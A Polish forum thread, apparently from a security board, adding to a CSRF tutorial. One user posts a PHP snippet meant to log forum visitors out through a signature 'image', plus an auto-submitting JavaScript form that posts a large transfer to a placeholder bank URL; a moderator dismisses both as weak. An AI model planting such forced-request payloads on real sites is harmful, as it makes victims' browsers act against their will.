[Tutorial]Cross-Site Request Forgery cd.1

gog

Użytkownik
Dołączył
Luty 17, 2008
Posty
2
Nie moge dopisac sie w temacie w dziale tourtiale, wiec robie to tutaj
Autor nawet nie otarl sie o prawdziwy sens ani nawet definicje CSRF..
O czym zapomnial:

Atak tego typu czest przeprowadza sie na fora internetowe, wystarczy ze jestesmy w stanie dodac obrazek do swojego posta, np. w cmsie php-fusion wylogowanie nastepuje po wejsciu na URL, wystarczy stworzyc skrypt php:

Kod:
<?php
location('[url]http://example.com/?logout=true'[/url]);
?>

i link do takiego 'obrazka' dodac sobie w podpisie... kazdy kto wejdzie na nasz topic zostanie natychmiast wylogowany.. wszystko co mozna zrobic czystem getem mozemy w ten wlasnie sposob zrealizowac

kolejna sprawa, to wysylanie formularzy.... przeciez javascript moze to zrobic automatycznie po wejscu na strone..

Kod:
<script language="JavaScript"> 
setTimeout("document.formularz.submit()", 0)
</script>
<form action="http://bank.com.pl/przelew.php" method="post" name="formularz">
<input type="hidden" name="kwota" value="9999999?">
</form>


pozdro600
 

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
<?php
location('http://example.com/?logout=true');
?>

-Musisz zmienić header tak żeby plik przedstawiał się jako obraz
-To nie jest CSRF.
-Z tym JS - nic odkrywczego.

Autor nawet nie otarl sie o prawdziwy sens ani nawet definicje CSRF[/b]
Poniżej tego cudownego tekstu spodziewałem się czegoś więcej niż skryptu javascript i kawałka kodu :) (który na dobitke nie ma zbyt wiele wspólnego z CSRF)
 
Do góry Bottom